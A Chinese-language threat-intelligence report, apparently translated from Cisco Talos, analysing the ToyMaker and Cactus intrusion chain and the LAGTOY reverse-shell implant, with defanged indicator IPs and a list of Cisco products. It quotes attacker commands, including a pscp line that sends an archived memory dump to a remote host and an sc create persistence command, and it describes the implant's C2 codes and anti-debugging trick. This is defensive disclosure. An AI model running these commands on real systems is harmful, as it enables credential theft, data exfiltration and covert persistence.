ToyMaker与Cactus联合攻击：复杂入侵链深度剖析

Magnet RAM Capture是一个免费的取证工具，用于获取主机的内存转储，从中可以提取凭据。这种战术可能解释了Talos在此次活动中识别出的大量受感染系统的高数量。

然后使用7za.exe归档命令T1560对内存转储进行归档：

7za.exe a -p -mmt2 -mhe 1.7z 1.r

pscp.exe -P 53 1.7z root@<Remote_IP>:/root

一旦攻击者获得内存转储，他们就会再次使用sftp-server.exe连接下载并执行我们称之为“LAGTOY”的定制反向shell植入。

LAGTOY通过创建一个服务来在系统上持久化[T1543][7]：

sc create WmiPrvSV start=auto error=ignore binPath=C:Program FilesCommon FilesServicesWmiPrvSV.exe

植入程序会联系其中配置的C2服务器，以接收在端点上执行的命令，例如：

图注：LAGTOY执行逻辑

作为一种反调试技术，该恶意软件使用kernel32!SetUnhandledExceptionFilter()注册了一个自定义的未处理异常过滤器。如果该恶意软件在调试器下运行，则不会调用该自定义过滤器，异常将被传递给调试器。因此，如果注册了未处理异常过滤器并将控制权传递给该过滤器，则该进程不会在调试器下运行。

LAGTOY旨在作为名为“WmiPrvSV”的服务在受感染的系统上运行。

C2 IP地址和协议端口均已硬编码到LAGTOY中。通信通过443端口使用原始套接字进行，而非像预期的那样在此TCP端口上使用TLS。

图注：指挥和控制通信

C2会向LAGTOY发送特定的管理代码：

• #pt：停止服务。

• #pd：中断当前执行链并检查服务是否已停止。如果已停止，则等待特定时间后重新连接到C2。

• #ps：创建特定的进程/命令。

• 如果代码不以#开头，则直接在端点上执行提供的命令或进程名称。

图注：LAGTOY的命令识别逻辑

与2022年Mandiant发现的样本相比，此样本新增了#ps处理器，用于创建命令对应的进程。

图注：2022年的样本没有#ps参数

LAGTOY能够处理来自C2的三个命令，每个命令之间的休眠间隔为11000毫秒。在其信标周期内，它会记录上次C2通信和命令执行的成功时间。如果C2发出的命令至少连续30分钟失败，植入体将向C2发送一条消息，告知其命令执行失败。

LAGTOY嵌入了一个看门狗程序。如果它累计运行时间超过60分钟，它将停止执行命令，然后检查服务是否已停止。如果服务仍然处于活动状态，植入体将重新启动与C2的连接。

图注：LAGTOY的总体时间和C2通信逻辑

• Cisco Secure Endpoint（原AMP for Endpoints）：非常适合阻止本文中提到的恶意软件的执行。

• Cisco Secure Email（原思科邮件安全）：可以阻止威胁行为者在活动中发送的恶意邮件。

• Cisco Secure Firewall（原Next-Generation Firewall和Firepower NGFW）：例如Threat Defense Virtual、自适应安全设备和Meraki MX等设备可以检测与该威胁相关的恶意活动。

• Cisco Secure Network/Cloud Analytics（Stealthwatch/Stealthwatch Cloud）：自动分析网络流量，并提醒用户连接设备上可能不需要的活动。

• Cisco Secure Malware Analytics（Threat Grid）：识别恶意二进制文件，并将保护功能集成到所有思科安全产品中。

• Cisco Secure Access：基于零信任原则构建的现代云交付安全服务边缘（SSE）。

• Umbrella（思科安全互联网网关）：阻止用户连接到恶意域名、IP和URL，无论用户是否在企业网络中。

• Cisco Secure Web Appliance（原Web安全设备）：自动阻止潜在危险站点，并在用户访问之前测试可疑站点。

• 防火墙管理中心：提供针对特定环境和威胁数据的额外保护。

• Cisco Duo：为用户提供多因素身份验证，以确保只有授权用户才能访问网络。

• Snort规则集：使用开放源代码的Snort订阅规则集的用户可以通过在Snort.org上购买最新规则包来保持更新。

209[.]141[.]43[.]37

194[.]156[.]98[.]155

158[.]247[.]211[.]51

39[.]106[.]141[.]68

47[.]117[.]165[.]166

195[.]123[.]240[.]2

75[.]127[.]0[.]235

149[.]102[.]243[.]100

206[.]188[.]196[.]20

51[.]81[.]42[.]234

178[.]175[.]134[.]52

162[.]33[.]177[.]56

64[.]52[.]80[.]252

162[.]33[.]178[.]196

103[.]199[.]16[.]92